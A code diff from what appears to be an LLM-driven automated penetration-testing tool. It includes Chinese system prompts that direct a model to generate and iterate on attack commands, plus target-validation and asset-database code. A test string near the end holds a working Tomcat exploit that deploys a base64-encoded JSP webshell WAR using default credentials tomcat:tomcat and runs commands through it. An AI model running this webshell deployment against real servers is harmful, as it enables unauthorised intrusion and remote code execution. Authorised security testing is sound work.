'''}] # 一个messages
#---2025-5-15分阶段方案---
def build_init_info_prompt(self,node):
if not node:
return
# 根节点初始化message----后续有可能需要为每个LLM生成不同的system msg
node.parent_messages = [{"role": "system","content": '''
你是一位资深的渗透测试专家现在由你来指导针对一个目标的渗透测试工作需要生成具体的指令交给本地程序执行再根据本地程序提交的执行结果规划下一步指令直至全面完成渗透测试当前为信息收集阶段
**总体要求**
1.请针对测试目标生成信息收集的测试指令不能包含注释和说明严格遵守格式要求不要有无关的前缀后缀等内容
2.每条指令必须有独特且明确的目的避免功能重复或范围重叠可以是dash指令或python指令
3.收集的信息包括域名的相关信息IP地址信息对应端口的相关信息等参考**JSON结果格式**中的内容不需要额外采集其它信息
4.若目标是URL除获取域名相关信息外还需要获取域名指向的IP再进一步解析获取这些IP的Por信息
5.若目标是IP则无需尝试获取对应的URL信息只需解析获取该IP的Port信息
6.完成URL和IP端口信息的收集后请按照格式要求封装结果信息并检查无遗漏无重复后再返回
7.在信息收集阶段节点路径都为当前节点包括测试目标是域名需要对测试目标指向的IP进行信息收集时IP节点由本地程序在渗透测试阶段统一创建
**响应示例**
- [{dash指令},{python指令}]
- [{JSON结果}]
**测试指令格式**
- dash指令{\"action\":\"dash\",\"path\":\"节点路径\",\"content\":\"指令内容\"}
- python指令{\"action\":\"python\",\"path\":\"节点路径\",\"content\":\"指令内容\"}
* python主函数名为dynamic_fun需包含错误处理必须返回一个tuple(status, output)
- [节点路径]为从根节点到目标节点的完整层级路径,"->"关联目标系统->192.168.1.100
**JSON结果格式**
- JSON结果{\"action\":\"asset\",\"URL\":{URL信息json},\"IPS\":[\"IP\":\"192.168.1.100\",\"IPtype\":\"IPv4/IPv6\",\"Ports\":[端口信息json]]}
* 端口信息json{\"Port\":\"端口号\",\"Service\":\"服务名称\",\"Version\":\"版本号\",\"Protocol\":\"TCP/UDP\",\"Status\":\"open/closed/filtered\"}
* URL信息json{\"Domain\":\"域名\",\"Subdomains\":\"[子域名1,子域名2]\",\"Registrant\":\"注册人\",\"Email\":\"注册邮箱\",\"Registrar\":\"注册商\",\"Creation_date\":\"创建日期\",\"Expiration_date\":\"到期日期\"}
- 若URL无效JSON中URL字段置空若无子域名Subdomains置空数组若无端口信息Ports字段返回空数组
**核心要求**
- 返回内容必须严格遵守响应示例不允许有其他内容或说明
- 测试指令和JSON结果必须严格遵守对应格式要求
'''}] # 一个messages
def build_init_attact_prompt(self,node):
if not node:
return
# 根节点初始化message----后续有可能需要为每个LLM生成不同的system msg
node.parent_messages = [{"role": "system","content": '''
你是一位资深的渗透测试专家现在由你来指导针对一个目标的渗透测试工作需要生成具体的指令交给本地程序执行再根据本地程序提交的执行结果规划下一步指令直至全面完成渗透测试
**总体要求**
1.以测试目标为根节点以测试点作为子节点的形式来规划整个渗透测试方案
2.测试点的规划需要基于执行结果是测试目标涉及的且是完整的具体为a.完成信息收集根据信息收集到的内容所有可能存在中高风险的测试点b.漏洞验证成功还能进一步利用的测试点
3.新增测试点的约束只有当当前节点提交了所有测试指令的执行结果且没有新的测试指令需要验证时再统一判断是否需要新增子节点进一步进行验证测试若没有则结束该路径的验证
4.若一次性新增的子节点过多无法为每个节点都匹配测试指令请优先保障新增测试节点的完整
5.生成的指令有两类节点指令和测试指令不能包含注释和说明严格遵守格式要求不要有无关的前缀后缀等内容
6.若无节点操作节点指令可以不生成若当前节点已完成测试测试指令可以不生成
7.只有当漏洞验证成功后才能生成漏洞验证成功的指令避免误报
**响应示例**
- [{节点指令},{测试指令}]
**节点指令格式**
- 新增节点{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1,节点2\"};
- 漏洞验证成功{\"action\": \"find_vul\", \"node\": \"节点\",\"vulnerability\": {\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息(没有可为空)\"}};
- 节点完成测试{\"action\": \"end_work\", \"node\": \"节点\"};
**测试指令格式**
- dash指令{\"action\":\"dash\",\"path\":\"节点路径\",\"content\":\"指令内容\"}
- python指令{\"action\":\"python\",\"path\":\"节点路径\",\"content\":\"指令内容\"}
* python主函数名为dynamic_fun需包含错误处理必须返回一个tuple(bool, output)
- [节点路径]为从根节点到目标节点的完整层级路径"->"关联目标系统->192.168.1.100
**测试指令生成准则**
1.可以是dash指令或python指令必须按格式要求生成
2.必须对应已有节点或同时生成对应新增节点指令
3.必须有独特且明确的目的避免功能重复或范围重叠优先使用覆盖面广成功率高的指令
4.若需要多条指令配合测试请生成对应的python指令完成闭环返回
5.避免用户交互必须要能返回返回的结果需要能利于你规划下一步指令
**核心要求**
- 返回内容必须严格遵守响应示例不允许有其他内容或说明
- 节点指令和测试指令必须严格遵守对应的格式要求
- 需确保测试指令的节点路径和指令的目标节点一致,例如针对子节点的测试指令节点路径不能指向当前节点
'''}] # 一个messages
# 调用LLM生成指令
def get_llm_instruction(self,prompt,node,DataFilter):
def get_llm_instruction(self,sendmessage):
'''
1.由于大模型API不记录用户请求的上下文一个任务的LLM不能并发
:param prompt:用户本次输入的内容
:return: instr_list
:sendmessage :发送的message
:return: iresult,reasoning_content,content,error
'''
#添加本次输入入该节点的message队列
message = {"role":"user","content":prompt}
node.cur_messages.append(message) #更新节点message
sendmessage = []
sendmessage.extend(node.parent_messages)
sendmessage.extend(node.cur_messages)
#提交LLM
#准备请求参数
params = {
@ -134,18 +199,18 @@ mysql -u root -p 192.168.1.100
response = self.client.chat.completions.create(**params)
except APITimeoutError:
self.logger.error("LLM API 请求超时")
return False, "","","", f"调用超时(model={self.model})"
return -1,"","", f"调用超时(model={self.model})"
except APIConnectionError as e:
self.logger.error(f"网络连接错误: {e}")
return False, "","", "", "网络连接错误"
return -1,"", "", "网络连接错误"
except OpenAIError as e:
# 包括 400/401/403/500 等各种 API 错误
self.logger.error(f"LLM API 错误: {e}")
return False, "","", "", f"API错误: {e}"
return -1,"", "", f"API错误: {e}"
except Exception as e:
# 兜底,防止意外
self.logger.exception("调用 LLM 时出现未预期异常")
return False, "","", "", f"未知错误: {e}"
return -1,"", "", f"未知错误: {e}"
reasoning_content = ""
content = ""
@ -174,14 +239,8 @@ mysql -u root -p 192.168.1.100
content = choice.content
else:
self.logger.error("处理到未预设的模型!")
return False,"","","","处理到未预设的模型!"
# 记录llm历史信息
node.cur_messages.append({'role': 'assistant', 'content': content})
print(content)
real_con = DataFilter.filter_instruction(content)
#按格式规定对指令进行提取
node_cmds,commands = self.fetch_instruction(real_con)
return True,node_cmds,commands,reasoning_content, content
content = choice.content
return 1,reasoning_content,content,""
def node_cmd_repair(self,part):
'''
@ -208,48 +267,27 @@ mysql -u root -p 192.168.1.100
:param text: 输入文本
:return: node_cmds,python_blocks,shell_blocks
'''
#针对llm的回复,提取节点操作数据和执行的指令----
# 正则匹配 Python 代码块
python_blocks = re.findall(r"```python-(.*?)```", response_text, flags=re.DOTALL)
# 处理 Python 代码块,去除空行并格式化
python_blocks = [block.strip() for block in python_blocks]
#正则匹配shell指令
shell_blocks = re.findall(f"```dash-(.*?)```", response_text, flags=re.DOTALL)
shell_blocks = [block.strip() for block in shell_blocks]
# 按连续的空行拆分
# 移除 Python和dash 代码块
text_no_python = re.sub(r"```python.*?```", "PYTHON_BLOCK", response_text, flags=re.DOTALL)
text = re.sub(r"```dash.*?```", "SHELL_BLOCK", text_no_python, flags=re.DOTALL)
# 这里用 \n\s*\n 匹配一个或多个空白行
parts = re.split(r'\n\s*\n', text)
node_cmds = []
commands = []
python_index = 0
shell_index = 0
for part in parts:
part = part.strip()
if not part:
continue
if "PYTHON_BLOCK" in part:
# 还原 Python 代码块
commands.append(f"python-code {python_blocks[python_index]}")
python_index += 1
elif "SHELL_BLOCK" in part:
commands.append(shell_blocks[shell_index])
shell_index +=1
else:#其他的认为是节点操作指令--指令格式还存在不确定性,需要正则匹配,要求是JSON
part = self.node_cmd_repair(part)
pattern = re.compile(r'\{(?:[^{}]|\{[^{}]*\})*\}')
for match in pattern.findall(part): #正常只能有一个
try:
node_cmds.append(json.loads(match)) # 解析 JSON 并添加到列表
except json.JSONDecodeError as e:#解析不了的不入队列
self.logger.error(f"LLM-{part}-JSON 解析错误: {e}") #这是需不需要人为介入?
return node_cmds,commands
# 序列化为JSON
try:
json_datas = json.loads(response_text)
except json.JSONDecodeError as e:
self.logger.debug(f"返回的内容转化成JSON失败,不符合json格式--{response_text}")
#反馈给LLM,重新返回内容
return False,node_cmds,commands,f"返回的内容json.loads失败,{str(e)}"
#对返回内容的json关键字验证
bok, strerror = g_CV.verify_node_cmds(json_datas)
if not bok:
return False, node_cmds, commands, strerror
#通过合法性校验--进行后续处理--拆分node_cmd 和 commands
for part in json_datas:
action = part["action"]
if action == "dash" or action == "python":
commands.append(part)
else:
node_cmds.append(part)
return True,node_cmds,commands,""
def test_llm(self):
messages = [
@ -266,65 +304,8 @@ mysql -u root -p 192.168.1.100
if __name__ == "__main__":
llm = LLMManager(3)
strcontent = '''
{"action":"find_vul", "node": "8180端口-Tomcat","vulnerability": {"name":"Tomcat弱口令漏洞","risk":"高危","info":"默认凭证tomcat:tomcat可访问管理控制台"}
```python-[目标系统->192.168.3.107->8180端口-Tomcat]
import requests
import base64
from io import BytesIO
def dynamic_fun():
try:
# 生成包含webshell的简易WAR包
war_content = base64.b64decode(
"UEsDBBQACAgIAJdWjkwAAAAAAAAAAAAAAAAJAAQATUVUQS1JTkYv/soAAAMAUEsHCAAAAAACAAAAAAAAAFBLAwQUAA" +
"gICACXVY5MAAAAAAAAAAAAAAAAFAAAAElNQL2V4cGxvaXQuanNwU0jNycnMS8tJ5XJRKEotyS8qyUx2SSxJ5QIAUEsH" +
"CFdDq4YIAAAAEAAAAFBLAQIeAxQACAgIAJdVjkwAAAAAAgAAAAAAAAAJAAQAAAAAAAAAAADsgQAAAABNRVRBLUlORi/" +
"6ygMAABQSwECHgMUAAgICACXVY5MV0OrhggAAAASAAAAFAAAAAAAAAAAAAAAAAClAAAAElNQL2V4cGxvaXQuanNwUEsF" +
"BgAAAAACAAIAqQAAAHwAAAAAAA=="
)
# 尝试部署WAR包
deploy_url = "http://192.168.3.107:8180/manager/text/deploy?path=/exploit"
res = requests.put(
deploy_url,
auth=('tomcat', 'tomcat'),
data=war_content,
timeout=10
)
if "FAIL" in res.text:
return (False, f"Deploy failed: {res.text}")
# 验证命令执行
cmd_url = "http://192.168.3.107:8180/exploit/exploit.jsp?cmd=id"
cmd_res = requests.get(cmd_url, timeout=5)
return (True, f"Deploy success! Command result: {cmd_res.text[:100]}") if cmd_res.status_code == 200 else (
False, "Command execution failed")
except Exception as e:
return (False, f"Exploit error: {str(e)}")
```
{"action":"add_node", "parent": "8180端口-Tomcat", "nodes": "Web应用路径遍历,Tomcat版本漏洞"}
```python-[目标系统->192.168.3.107->8180端口-Tomcat->Tomcat版本漏洞]
import requests
def dynamic_fun():
try:
# 检测CVE-2020-1938
vul_check = requests.get(
"http://192.168.3.107:8180/docs/",
headers={"Host": "localhost"},
timeout=5
)
if "Apache Tomcat/8." in vul_check.headers.get('Server', ''):
return (True, "可能存在Ghostcat漏洞(CVE-2020-1938)")
return (False, "未检测到易受攻击版本")
except Exception as e:
return (False, f"检测失败: {str(e)}")
```
```dash-[目标系统->192.168.3.107]nmap -sV -Pn -p- 192.168.3.107```
```dash-[目标系统->192.168.3.107]dig +short -x 192.168.3.107```
'''
node_cmds, commands = llm.fetch_instruction(strcontent)
print(node_cmds)

6
mycode/PythoncodeTool.py

@ -29,6 +29,8 @@ import smbclient
import binascii
import ftplib
import threading
import whois
import sublist3r
from mysql.connector import Error
from Crypto.Cipher import DES
from packaging import version
@ -68,7 +70,7 @@ def _execute_dynamic(instruction_str):
'open': open, 'Exception': Exception, 'locals': locals,
'ConnectionResetError':ConnectionResetError,'BrokenPipeError':BrokenPipeError,
'bytes':bytes,'tuple':tuple,'format':format,'next':next,'StopIteration':StopIteration,
'bytearray':bytearray
'bytearray':bytearray,'getattr':getattr,'hasattr':hasattr,'isinstance':isinstance,'dir':dir,
}
# 构造安全的 globals
safe_globals = {
@ -115,6 +117,8 @@ def _execute_dynamic(instruction_str):
'version':version,
'DES':DES,
'ftplib':ftplib,
'whois':whois,
'sublist3r':sublist3r,
}
safe_locals = {}
try:

115
mycode/TargetManager.py

@ -65,36 +65,41 @@ class TargetManager:
def validate_and_extract(self,input_str):
'''
:param input_str:
:return: bool,str,int(1-IP,2-domain)
:return: bool,real_target,int(1-IP,2-domain),fake_target
'''
regex_match = re.fullmatch(pattern, input_str)
type = None
fake_target = ""
if regex_match:
domain_or_ip = regex_match.group(2)
# 仅对 IPv4 格式的字符串进行有效性验证
if re.fullmatch(r'\d{1,3}(\.\d{1,3}){3}', domain_or_ip):
if not self._is_valid_ipv4(domain_or_ip):
return False, None,type,fake_target
else:
type = 1 #IP
fake_target = "192.168.3.107"
else:
type = 2 #domain
fake_target = "www.czzfxxkj.com"
return True, domain_or_ip,type,fake_target
else:
return False, None,type,fake_target
real_target = ""
target_type,target = self.is_valid_target(input_str)
if not target_type: #非法目标
return False,input_str,type,fake_target
if target_type =="IPv4" or target_type=="IPv6":
type = 1 #IP
real_target = target
fake_target = "192.168.3.107"
elif target_type == "URL":
type = 2 #domain
real_target = target
fake_target = "czzfkjxx"
else: #目标不合法
return False,real_target,type,fake_target
return True,real_target,type,fake_target
#验证目标是否合法
def is_valid_target(self,target):
'''
检查目标的合法性并对于URL地址提取域名部分若是ip的URL提取IP
:param target:
:return: target_type new_target
'''
# Check if target is a valid IP address (IPv4 or IPv6)
try:
ip = ipaddress.ip_address(target)
if ip.version == 4:
return 'IPv4'
return 'IPv4',target
elif ip.version == 6:
return 'IPv6'
return 'IPv6',target
except ValueError:
pass
@ -102,30 +107,30 @@ class TargetManager:
try:
result = urlparse(target)
# Only allow http or https schemes
if result.scheme not in ['http', 'https']:
return None
if not result.scheme:
result = urlparse('http://'+target)
netloc = result.netloc
if not netloc:
return None
return None,None
# Handle IPv6 addresses in URLs (enclosed in brackets)
if netloc.startswith('[') and netloc.endswith(']'):
ip_str = netloc[1:-1]
try:
ipaddress.IPv6Address(ip_str)
return 'URL'
return 'IPv6',ipaddress
except ValueError:
return None
return None,None
# Handle potential IPv4 addresses
elif self._is_valid_ipv4(netloc):
try:
ipaddress.IPv4Address(netloc)
return 'URL'
return 'IPv4',ipaddress
except ValueError:
return None
return None,None
# If not an IP-like string, assume it's a domain name and accept
return 'URL'
return 'URL',netloc
except ValueError:
return None
return None,None
def collect_ip_info(self,ip):
info = {}
@ -187,44 +192,38 @@ class TargetManager:
return info
def test(self,str_target):
target_type = self.is_valid_target(str_target)
if not target_type:
print(f"Invalid target: {str_target}")
return
if target_type == 'IPv4' or target_type == "IPv6":
#info = self.collect_ip_info(str_target)
info = "IP"
elif target_type == 'URL':
domain = urlparse(str_target).netloc
info = self.collect_domain_info(domain)
print(f"Collected info for {str_target}: {info}")
bok, target, type, fake_target = self.validate_and_extract(str_target)
if not bok:
print(f"{str_target}目标不合法{target}")
else:
print(f"{str_target}目标合法{target} ---- {fake_target}")
g_TM = TargetManager()
if __name__ == "__main__":
tm = TargetManager()
# 示例测试
# test_cases = [
# "256.254.1111.23",
# "8.8.8.8",
# "2001:db8::1",
# "http://www.crnn.cc/",
# "https://www.crnn.cn",
# "http://www.crnn.cc/product_category/network-security-services",
# "192.168.1.1:80",
# "example.com/path/to/resource",
# "ftp://invalid.com", # 不合规
# "http://300.400.500.600" # 不合规
# ]
#tm = TargetManager()
#示例测试
test_cases = [
"256.254.1111.23",
"8.8.8.8",
"2001:db8::1",
"http://www.crnn.cc/",
"http://www.crnn.cc/product_category/network-security-services"
"https://www.crnn.cn",
"http://www.crnn.cc/product_category/network-security-services",
"192.168.1.1:80",
"example.com/path/to/resource",
"www.crnn.cn",
"oa.crnn.cn",
"ftp://invalid.com", # 不合规
"http://300.400.500.600" # 不合规
]
# test_cases = [
# "http://www.crnn.cc/",
# "http://www.crnn.cc/product_category/network-security-services"
# ]
#tm.test("https://www.crnn.cn")
for case in test_cases:
tm.test(case)
g_TM.test(case)

3
mycode/TaskManager.py

@ -78,7 +78,7 @@ class TaskManager:
target_list = test_targets.split(",")
for target in target_list:
#这里判断目标的合法性
bok,target,type,fake_target = self.TargetM.validate_and_extract(target) #是否还需要判断待定?
bok,target,type,fake_target = self.TargetM.validate_and_extract(target) #若是url,target是域名部分
if not bok:#目标不合法
fail_list.append(target)
continue
@ -274,4 +274,5 @@ class TaskManager:
tasks = app_DBM.get_his_tasks(target_name,safe_rank,llm_type,start_time,end_time)
return tasks
g_TaskM = TaskManager() #单一实例

424
mycode/TaskObject.py

@ -52,6 +52,7 @@ class TaskObject:
self.safe_rank = safe_rank #安全级别 0-9 #?暂时还没实现更新逻辑
self.is_had_work = False
self.is_had_work_lock = threading.Lock()
self.cur_stage = 0 #0--信息收集阶段,1--渗透测试阶段
#读写锁
self.rwlock = ReadWriteLock()
@ -237,7 +238,6 @@ class TaskObject:
llm_node = self.llmth_node_list[th_index]
#开始处理
bnode_work = True
tmp_commands = []
# {llm_node.status} --- 暂时固化为未完成
user_Prompt = f'''
当前分支路径{llm_node.path}
@ -246,42 +246,37 @@ class TaskObject:
- 节点状态未完成
- 漏洞类型{llm_node.vul_type}
'''
while True:
ido_count = 0 # 用于控制线程重复执行的上限
tmp_commands = []
while True: #对节点的待提交任务进行提交处理
llm_data = llm_node.get_res()
if llm_data is None:
break
llm_type = llm_data["llm_type"]
str_res = llm_data["result"]
#判断执行次数
llm_node.llm_sn += 1
if llm_node.llm_sn == max_llm_sn: #提交次数达到上限后,提示LLM结束该节点任务
llm_type = 10
#该节点的剩余任务不执行,若有--暂定
llm_node.clear_res()
if llm_type !=2:
llm_node.llm_sn += 1
if llm_node.llm_sn >= max_llm_sn + 1: #提交次数达到上限后,提示LLM结束该节点任务
llm_type = 10
#该节点的剩余任务不执行,若有--暂定
llm_node.clear_res()
#获取提示词
prompt = self.get_llm_prompt(llm_type,str_res,user_Prompt)
fake_prompt = self.DataFilter.filter_prompt(prompt) #目标脱敏
self.doing_llm_list[th_index] = prompt
self.doing_llm_list[th_index] = prompt #执行更新
# 提交llm请求返回数据--并对返回数据进行处理,节点指令直接执行,测试指令根据工作模式执行
post_time = get_local_timestr()
bsuccess,node_cmds, commands,reasoning_content, content = self.LLM.get_llm_instruction(fake_prompt,llm_node,self.DataFilter) # message要更新 --llm_node只使用messages,都是脱敏后的数据
if not bsuccess:
self.logger.error(f"模型接口调用出错:{content}")
continue #丢弃 --若需要再次尝试,把llm_data再入队列
# LLM记录存数据库
bsuccess, node_cmds, commands, strerror,reasoning_content,content = self.node_get_llm_instruction(llm_node,prompt) #如果API调用出问题,会一直循环尝试
if not bsuccess:#返回的内容不符合格式约定 --重试3次还不符合--丢弃
continue #下一个待办事项
#返回结果符合要求
# LLM记录存数据库 ---若有指令错误的情况,中间的请求修正的MSG会丢失数据库记录
if th_DBM.ok:
post_time = get_local_timestr()
bres = th_DBM.insert_llm(self.task_id, prompt, reasoning_content, content, post_time, llm_node.llm_sn,llm_node.path)
if not bres:
self.logger.error(f"{llm_node.name}-llm入库失败!")
else:
self.logger.error("数据库连接失败!")
'''
对于LLM返回的错误处理机制
1.验证节点是否都有测试指令返回
2.LLM的回复开始反复时有点难判断
'''
# 更新tree
bok, new_commands,iadd_node = self.tree_manager(node_cmds, llm_node, commands, th_DBM)
# 分析指令入对应节点
@ -298,7 +293,7 @@ class TaskObject:
asyncio.run(g_WSM.send_data(idatatype, strdata))
# 先取消当前task,已经通知前端重新获取,这样可以避免后端不必要的数据推送
#self.taskM.web_cur_task = 0
# 一个节点执行完成后置空
# 一个节点执行完成后--提交中llm置空
self.doing_llm_list[th_index] = ""
else:
if bnode_work:
@ -425,10 +420,11 @@ class TaskObject:
#修改节点的执行状态,并需要基于websocket推送到前端显示 同步线程调用
def update_node_work_status(self,node,work_status):
old_work_status = node.get_work_status()
#更新状态
bchange = node.update_work_status(work_status) #1,3会返回Flase
#基于websocket推送到前端
if work_status != 1: #llm执行完成后会发送单独的指令更新树,所以不发送1更新节点了
if work_status != 1 and old_work_status != 0: #llm执行完成后会发送单独的指令更新树,所以不发送1更新节点了
#判断是否是web端最新获取数据的task
if self.taskM.web_cur_task == self.task_id:
idatatype = 1
@ -476,25 +472,36 @@ class TaskObject:
return find_node
def replace_error_instr(self,command):
command = command.replace("| |","||")
command = command.replace("& &","&&")
content = command["content"]
content = content.replace("| |","||")
content = content.replace("& &","&&")
command["content"] = content
return command
def put_node_instrlist(self, commands, node): #如果当前节点没有进一般指令返回,需要修改节点执行状态
if not node:
return
'''
- dash指令{\"action\":\"dash\",\"path\":\"节点路径\",\"content\":\"指令内容\"}
- python指令{\"action\":\"python\",\"path\":\"节点路径\",\"content\":\"指令内容\"}
'''
node_list = [] #有待办指令的节点
for command in commands:
command = self.replace_error_instr(command)
# 使用正则匹配方括号中的node_path(非贪婪模式)
match = re.search(r'\[(.*?)\]', command)
if match:
node_path = match.group(1)
node_name = node_path.split("->")[-1]
instruction = re.sub(r'\[.*?\]', "", command, count=1, flags=re.DOTALL)
#'''强制约束,不是本节点或者是子节点的指令不处理'''
find_node = None
if node_name == node.name: #指令是当前节点的
#match = re.search(r'\[(.*?)\]', command)
com_type = command["action"]
com_path = command["path"]
content = command["content"]
node_name = com_path.split("->")[-1]
if com_type == "python": #对于python代码,加个python头
content = "python-code " + content
#寻找指令的对应节点#'''强制约束,不是本节点或者是子节点的指令不处理'''
find_node = None
if node_name == node.name: #指令是当前节点的
find_node = node
else:
if self.cur_stage == 0: #信息收集阶段,不是当前节点的指令,也作为当前节点
find_node = node
else:
for child_node in node.children: #暂时只找一层
@ -502,21 +509,20 @@ class TaskObject:
if child_node.do_sn == 0: #只有没执行过指令的子节点,才允许添加指令 2025-5-9 新增限制 避免父节点和子节点同时有指令执行,提交llm后,父节点返回子节点指令。
find_node = child_node
break
# find_node = self.attack_tree.find_node_by_nodepath_parent(node_path,node,iadd_node,commands)
# if not find_node:#对于没有基于节点路径找到对应节点--增加通过节点名称匹配的机制 2025-4-13日添加
# find_node = self.find_node_by_child_node_name(node, node_name) # 递归找子节点
if find_node:
find_node.add_instr(instruction,node.parent_messages,node.cur_messages) #2025-4-23调整为第一添加指令时传递Msg
#DS-llm存在返回指令还会修改节点状态为已完成的问题,需要修正
find_node.status = "未完成"
if find_node not in node_list:
node_list.append(find_node)
self.update_node_work_status(find_node,1) #待执行指令
else:#如果还没找到就暂时放弃
self.logger.error(f"没有找到指令对应的节点:{node_path},当前节点{node.path}")#丢弃该指令
else:
self.logger.error(f"得到的指令格式不符合规范:{command}")#丢弃该指令---
# find_node = self.attack_tree.find_node_by_nodepath_parent(node_path,node,iadd_node,commands)
# if not find_node:#对于没有基于节点路径找到对应节点--增加通过节点名称匹配的机制 2025-4-13日添加
# find_node = self.find_node_by_child_node_name(node, node_name) # 递归找子节点
if find_node:
find_node.add_instr(content,node.parent_messages,node.cur_messages) #2025-4-23调整为第一添加指令时传递Msg
#DS-llm存在返回指令还会修改节点状态为已完成的问题,需要修正
find_node.status = "未完成"
if find_node not in node_list:
node_list.append(find_node)
self.update_node_work_status(find_node,1) #待执行指令
else:#如果还没找到就暂时放弃
self.logger.error(f"没有找到指令对应的节点:{com_path},当前节点{node.path}")#丢弃该指令
#这里对于丢弃指令,有几种方案:
# 1.直接丢弃不处理,但需要考虑会不会产生节点缺失指令的问题,需要有机制验证节点;------ 需要有个独立线程,节点要加锁--首选待改进方案
# 2.入当前节点的res_queue,但有可能当前节点没有其他指令,不会触发提交,另外就算提交,会不会产生预设范围外的返回,不确定;
@ -617,10 +623,14 @@ class TaskObject:
#获取本次的提交提示词
def get_llm_prompt(self,llm_type,str_res,user_Prompt):
if llm_type == 0:
if llm_type == -2: #调用llm api失败的情况,prompt已是组装好
return str_res
elif llm_type == -1:
ext_Prompt = "请针对当前节点收集渗透测试所需的相关信息"
elif llm_type == 0:
ext_Prompt = f'''
补充信息{str_res}
任务请开始对该目标的渗透测试工作
已知信息{str_res}
任务根据当前节点信息生成下一步指令
'''
elif llm_type == 1: # 提交指令执行结果 --- 正常提交
# 构造本次提交的prompt
@ -630,7 +640,7 @@ class TaskObject:
'''
elif llm_type == 2: # llm返回的指令存在问题,需要再次请求返回
ext_Prompt = f'''
反馈类型节点指令格式错误
反馈类型返回的信息不符合规则
错误信息{str_res}
任务请按格式要求重新生成该节点上一次返回中生成的所有指令
'''
@ -669,23 +679,200 @@ class TaskObject:
parent_node.add_child(new_node)
#existing_names.add(child_name) # 更新集合 -- 已经去重过了,不需要在添加到比对
#处理节点指令
def tree_manager(self,node_cmds,node,commands,DBM):
def dedupe_ports(self,IPS):
new_ips = []
for ip_entry in IPS:
seen_ports= set()
filtered_ports = []
for port_info in ip_entry.get("Ports", []):
port = port_info.get("Port")
if port not in seen_ports:
seen_ports.add(port)
filtered_ports.append(port_info)
# 构造新的 IP 条目,只替换 Ports 字段
new_entry = ip_entry.copy()
new_entry["Ports"] = filtered_ports
new_ips.append(new_entry)
return new_ips
#更新资产数据库
def add_update_assets(self,URL,IPS,DBM):
url_id = 0
# URL信息入库或更新
if URL: # required_keys = {"Domain", "Subdomains", "Reqistrar", "Email", "Creation_date", "Expiration_date"}
Domain = URL["Domain"]
Subdomains = URL["Subdomains"]
Registrant = URL["Registrant"]
Registrar = URL["Registrar"]
Email = URL["Email"]
Creation_date = URL["Creation_date"]
Expiration_date = URL["Expiration_date"]
url_id = DBM.add_or_update_URL_asset(Domain, Subdomains, Registrant, Email, Creation_date,
Expiration_date,Registrar)
# URL-关联的-IP信息入库或更新
to_url_ip=[]
for IP_data in IPS:
#[\"IP\":\"192.168.1.100\",\"IPtype\":\"IPv4/IPv6\",\"Ports\":[端口信息json]]
ip_address = IP_data["IP"]
IPtype = IP_data["IPtype"]
Ports = IP_data["Ports"]
#IP入库或更新
ip_id,scan_count = DBM.add_or_update_IP_asset(ip_address,IPtype)
if url_id:#有url就需要入库关联表 --统一处理
to_url_ip.append(ip_id)
#把IP资产和task进行关联
DBM.add_task_to_ip(self.task_id,ip_id)
#Ports端口数据入库过更新
DBM.update_port(ip_id,scan_count,Ports)
#统一维护url-ip的对应关系
if to_url_ip:
DBM.update_url_to_ip(url_id,to_url_ip)
def update_attack_tree(self,URL,IPS,cur_node):
#self.add_children_node(node, add_node_names)
# if URL: #说明检测目标是url 正常情况只有从url->IP,无法从ip->url
# for IP_data in IPS: #IPS不应该会重复
# #增加IP子节点
# new_node = TreeNode(IP_data["IP"], cur_node.task_id, 0, "已完成") #IP不管如何算0层
# cur_node.add_child(new_node)
# else:#说明目标是IP地址
# for IP_data in IPS:#IP应该只有一个
# pass
for IP_data in IPS:
ip_node = cur_node #如果没有URL,IP就是当前根节点
if URL:
# 增加IP子节点
ip_node = TreeNode(IP_data["IP"], cur_node.task_id, 0, "已完成") # IP不管如何算0层
cur_node.add_child(ip_node)
#port端口节点
ports = IP_data["Ports"]
for port_data in ports:
port = port_data["Port"]
service = port_data["Service"]
version = port_data["Version"]
protocol = port_data["Protocol"] #TCP/UDP
status = port_data["Status"] #open/closed/filtered
#添加port节点
port_node = TreeNode(str(port), ip_node.task_id, 1, "未完成") # port为1层
# parent_messages 初始化
self.LLM.build_init_attact_prompt(port_node)
ip_node.add_child(port_node)
#添加已知信息
know_info = f"端口号:{port},服务:{service},版本:{version},协议:{protocol},端口状态:{status}"
self.put_node_reslist(port_node, know_info, 0) #llm_type -0 info->accack的过渡,需要重新构建prompt
#保存节点树--th_llm 节点任务执行完后会报错
#提交prompt 拉取llm返回结果,再做一层封装 --- 信息的脱敏和还原都放这里面
def node_get_llm_instruction(self,cur_node,prompt):
i_instr_error = 0
while True:
fake_prompt = self.DataFilter.filter_prompt(prompt) # 目标脱敏
# 构造与更新message
message = {"role": "user", "content": fake_prompt}
cur_node.cur_messages.append(message) # 更新节点message
sendmessage = []
sendmessage.extend(cur_node.parent_messages)
sendmessage.extend(cur_node.cur_messages)
ido_count = 0
while True: #
iresult,reasoning_content,content,error = self.LLM.get_llm_instruction(sendmessage)
if iresult == -1: #调用LLMapi 出错
if ido_count < 3:
ido_count += 1
self.logger.error(f"模型调用出错-{error},休眠10秒后重试")
time.sleep(10)
else: # 调用llmapi 已达错误上限--休眠半个小时候再试
ido_count = 0
self.logger.error(f"模型调用连续出错-{error},休眠30分钟后重试")
time.sleep(60 * 30)
continue
#llm调用成功后,记录llm历史信息
cur_node.cur_messages.append({'role': 'assistant', 'content': content})
print(content)
break
# 目标还原
real_con = self.DataFilter.filter_instruction(content)
# 解析验证返回内容
bsuccess, node_cmds, commands, strerror = self.LLM.fetch_instruction(real_con)
if not bsuccess: # 返回的内容不符合格式约定--重新提交
if i_instr_error >=3:
return bsuccess, node_cmds, commands, strerror,reasoning_content,real_con
i_instr_error += 1
user_Prompt = f'''
当前分支路径{cur_node.path}
当前节点信息
- 节点名称{cur_node.name}
- 节点状态未完成
- 漏洞类型{cur_node.vul_type}
'''
prompt = self.get_llm_prompt(2,strerror,user_Prompt)
# one_llm = {'llm_type': 2, 'result': strerror}
# cur_node.add_res(one_llm, 1) # 入节点结果队列的第一个
continue
else:
return bsuccess, node_cmds, commands, strerror,reasoning_content,real_con
#阻塞轮询补充指令
def get_other_instruction(self,nodes,DBM,cur_node):
new_commands = []
res_str = ','.join(nodes)
no_instr_nodes = nodes
while res_str:
self.logger.debug(f"开始针对f{res_str}这些节点请求测试指令")
user_Prompt = f'''
当前分支路径{cur_node.path}
当前节点信息
- 节点名称{cur_node.name}
- 节点状态{cur_node.status}
- 漏洞类型{cur_node.vul_type}
反馈类型需要补充以下子节点的测试指令:{res_str}
任务
